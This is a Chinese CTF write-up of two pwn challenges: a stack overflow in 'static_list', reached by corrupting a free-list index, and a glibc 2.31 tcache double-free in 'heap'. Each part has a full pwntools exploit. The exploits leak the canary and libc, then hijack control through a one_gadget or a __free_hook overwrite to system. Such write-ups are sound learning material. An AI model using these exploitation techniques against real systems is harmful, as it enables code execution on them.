赛后复现,学习了
static_list
栈溢出
和之前做的虎符线下题jdt有点像,但这题需要操作一下才能溢出
题目描述
init
初始化
栈的信息大概如下(1~63)

create
1 2 3 4 5 6 7 8 9 10 11
| int __fastcall create(__int64 a1) { int i;
for ( i = 0; i <= 63 && content[i] != -1; ++i ) ; if ( i == 64 ) return puts("no free spaces!"); content[i] = allocate(a1); return puts("done!"); }
|
1 2 3 4 5 6 7 8 9
| __int64 __fastcall allocate(unsigned int *a1) { unsigned int v2;
v2 = *a1; if ( *a1 != -1 ) *a1 = a1[16 * v2 + 1]; return v2; }
|
content[i]处原本是-1
函数allocate中
*a1= 索引到的栈上初始化的数据处的值(利用*a1索引)
content[i]赋值为先前*a1的值
a1是栈上的地址,即上图出现的0x7fffffffccf0
drop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| int __fastcall modify(__int64 a1) { int v2; int v3;
printf("index: "); v2 = read_int("index: "); if ( v2 < 0 ) return puts("invalid index!"); if ( v2 > 63 ) return puts("invalid index!"); v3 = content[v2]; if ( v3 == -1 ) return puts("invalid index!"); printf("content: "); read(0, ((v3 << 6) + a1 + 4), 0x40uLL); return puts("done!"); }
|
1 2 3 4 5 6 7 8 9 10 11 12
| _DWORD *__fastcall deallocate(_DWORD *a1, int a2) { _DWORD *result;
if ( a2 != -1 ) { a1[16 * a2 + 1] = *a1; result = a1; *a1 = a2; } return result; }
|
先索引到栈上初始化好的数据,赋值为0x7fffffffccf0的值
然后再让0x7fffffffccf0的值等于我们输入的数字
modify
1 2
| v3 = content[v2]; read(0, ((v3 << 6) + a1 + 4), 0x40uLL);
|
根据content[i]计算偏移并读入到相应位置
这个位置是从栈上初始化的数据处开始的
print
1 2
| v3 = content[v2]; printf("content: %s\n", ((v3 << 6) + a1 + 4));
|
根据content[i]计算偏移打印信息
总结
上文中(v3 << 6) + a1 + 4)和a1[16 * v2 + 1]指向同一个地方
a1=0x7fffffffccf0处存着上一次操作的index,每次creat根据此处的值索引到栈上初始化好的数字填入,deallocte在此处填入我们输入的index

modify不存在溢出,最多读入0x40字节数据

drop后content[i]对应的值不会恢复
分析
感觉这题对我这种菜鸟来说属于不太好想了……
正常的操作无法溢出到返回地址
想要溢出到返回地址或者泄露canary,则需要content[i]的值非常规
关注这里的值是如何变化的
不难看到只有在creat的时候才有对content[i]的操作
可以发现,想要动content[i],就得动栈上初始化的数据处的值a1[16 * v2 + 1]
那么怎么动这个地方的值呢
就能想到利用modify来进行修改了
也就是说,我们可以通过修改a1[16 * v2 + 1]处的值,然后creat,来让content[i]赋值为我们想要的偏移,从而对canary和返回地址进行泄露和覆盖
思路
先creat,让content[i]处的值不为-1
因为allocate中*a1 = a1[16 (\a1) + 1],所以drop一次,这是为了让*a1=0,使下一次creat时让*a1被赋值为我们输入的值。
再进行modify,修改a1[16 * 0 + 1]处的值
修改为64即可发生溢出
接下来creat一次,\*a1=0x40
再creat一次,content[2]=0x40
接下来就通过modify填两次分别泄露canary和覆盖返回地址为one_gadget即可
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| from pwn import* context(os='linux', arch='amd64', log_level='debug')
r = process('./static_list') elf = ELF('./static_list') libc = ELF('./libc.so.6')
menu = lambda i: r.sendlineafter('>> ', str(i))
def create(): menu(1)
def drop(idx): menu(2) r.sendlineafter('index: ',str(idx))
def modify(idx, content): menu(3) r.sendlineafter('index: ', str(idx)) r.sendafter('content: ', content)
def show(idx): menu(4) r.sendlineafter('index: ',str(idx))
create() drop(0) modify(0,p64(64)) create() create() modify(2,'a'*5) show(2) r.recvuntil('a'*5) canary = u64(r.recv(7).ljust(8,'\x00'))*0x100
modify(2,'a'*20) show(2) r.recvuntil('a'*20) data = u64(r.recvuntil('\x7f').ljust(8,'\x00'))
libc_base = data-0x020840 one_gadget = libc_base+0x45226 payload = 'a'*4+p64(canary)+p64(0xdeadbeef)+p64(one_gadget)
modify(2,payload)
print 'canary ===> ', hex(canary) print 'libc_base===> ', hex(libc_base)
menu(5) r.interactive()
|
heap
tcache的东西还不是很懂…
glibc2.31 double free
题目描述
create,modify
最多创建64个堆
申请的堆大小固定(malloc(0x70))
不存在溢出
bss段存放chunk指针
drop
free后未将指针置0
再次creat不会覆盖先前的指针
print
打印出指针指向的内容
思路
glibc2.31下的double free
第一次double free改写一个chunk的size位,需要大于0x408使其绕过tcache直接被放入unsorted bin中,得到libc的地址
第二次double free把free_hook写入fd指针,改写free_hook为system地址,再执行system(‘/bin/sh’)即可
细节
- 一个
tcache bin的最大块数是7
- 当相应大小的
tcache bin未满且大小不大于0x408时放入tcache
- 当从fastbin中取出chunk时,如果相应的
tcache bin未满,会把fastbin中其他内存块放入tcache中
- 仅仅覆盖tcache的指针,不需要伪造任何chunk结构就能malloc到想要的地址处
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| from pwn import* context(os='linux', arch='amd64', log_level='debug') r = process('./heap')
def cmd1(n): r.sendlineafter('>> ', str(n))
def cmd2(n): r.sendlineafter(':', str(n))
def cmd3(conetnt): r.sendafter(':', conetnt)
def creat(content): cmd1(1) cmd3(content)
def drop(idx): cmd1(2) cmd2(str(idx))
def show(idx): cmd1(3) cmd2(str(idx))
for i in range(8): creat('A'*8)
creat('B'*8) creat('C'*8) creat('D'*8)
for i in range(7): drop(i)
drop(8) drop(9) drop(8)
for i in range(7): creat('D'*8)
creat('\x10') creat('a') creat('b') creat(p64(0)+p64(0x481))
for i in range(8): creat('x')
drop(19) show(19) r.recvuntil('content: ') data = u64(r.recv(6).ljust(8,b'\x00')) print (hex(data)) malloc_hook = data-0x70 sys_addr = malloc_hook-0x1ebb70+0x055410 free_hook = malloc_hook+0x2fb8
for i in range(8): creat('newone')
creat('A') creat('B') creat('C')
for i in range(28,35): drop(i)
drop(36) drop(37) drop(36)
for i in range(7): creat('last')
creat(p64(free_hook)) creat(b'a') creat('/bin/sh\x00') creat(p64(sys_addr))
drop(48) r.interactive()
|